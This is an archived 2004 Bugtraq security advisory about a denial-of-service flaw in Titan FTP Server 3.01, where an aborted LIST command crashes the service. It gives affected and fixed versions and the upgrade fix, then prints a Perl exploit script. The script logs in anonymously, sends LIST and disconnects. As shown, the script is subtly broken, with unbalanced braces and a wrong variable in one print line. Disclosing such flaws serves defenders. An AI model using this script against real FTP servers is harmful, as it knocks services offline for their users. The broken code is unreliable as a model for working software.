[34803] in bugtraq

home	help	back	first	fref	pref	prev	next	nref	lref	last	post

Titan FTP Server Aborted LIST DoS

daemon@ATHENA.MIT.EDU (Aviram Jenik)
Wed May 5 16:24:15 2004

From: Aviram Jenik <aviram@beyondsecurity.com>
To: bugtraq@securityfocus.com
Date: Wed, 5 May 2004 15:51:23 +0300
MIME-Version: 1.0
Content-Disposition: inline
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Message-Id: <200405051551.23561.aviram@beyondsecurity.com>

 Titan FTP Server Aborted LIST DoS
----------------------------------------------------


Article reference:
http://www.securiteam.com/windowsntfocus/5RP0215CUU.html


SUMMARY

A security vulnerability exists in South River Technologies' Titan FTP Server. 
An attacker issuing a LIST command and disconnecting before the LIST command 
had the time to connect, will cause the program to try and access an invalid 
socket. This will result in the FTP service's crash (and in turn, no longer 
being able to service any additional users).


DETAILS

Vulnerable Systems:
  * Titan FTP Server version 3.01 build 163

 Immune Systems:
  * Titan FTP Server version 3.10 build 169

 Solution:
 To solve this issue upgrade to the latest version (3.10 build 169 or newer).

 Exploit:
 #!/usr/bin/perl
 # Test for Titan FTP server security vulnerability
 #
 # Orkut users? Come join the SecuriTeam community
 # http://www.orkut.com/Community.aspx?cmm=44441
 #
 use IO::Socket;

 $host = "192.168.1.243";

 my @combination;
 $combination[0] = "LIST \r\n";

 for (my $i = 0; $combination[$i] ; $i++)
 {
  print "Combination: $1\n";

  $remote = IO::Socket::INET->new ( Proto => "tcp",
      PeerAddr => $host,
      PeerPort => "2112",
      );
  unless ($remote) { die "cannot connect to ftp daemon on $host" }

  print "connected\n";
  while (<$remote>)
  {
   print $_;
   if (/220 /)
   {
    last;
   }
  }

  $remote->autoflush(1);

  my $ftp = "USER anonymous\r\n";

  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/331 /)
   {
    last;
   }
  }

  $ftp = "PASS a\@b.com\r\n";
  print $remote $ftp;
  print $ftp;
  
  while (<$remote>)
  {
   print $_;
   if (/230 /)
   {
    last;
   }
  }
  
  $ftp = $combination[$i];

  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/150 /)
   {
    last;
   }
  

  close $remote;
 }


ADDITIONAL INFORMATION

SecurITeam would like to thank  <mailto:storm@securiteam.com> STORM for 
finding this vulnerability. 




Regards, 
Aviram Jenik
Beyond Security Ltd.

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf




==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 

home	help	back	first	fref	pref	prev	next	nref	lref	last	post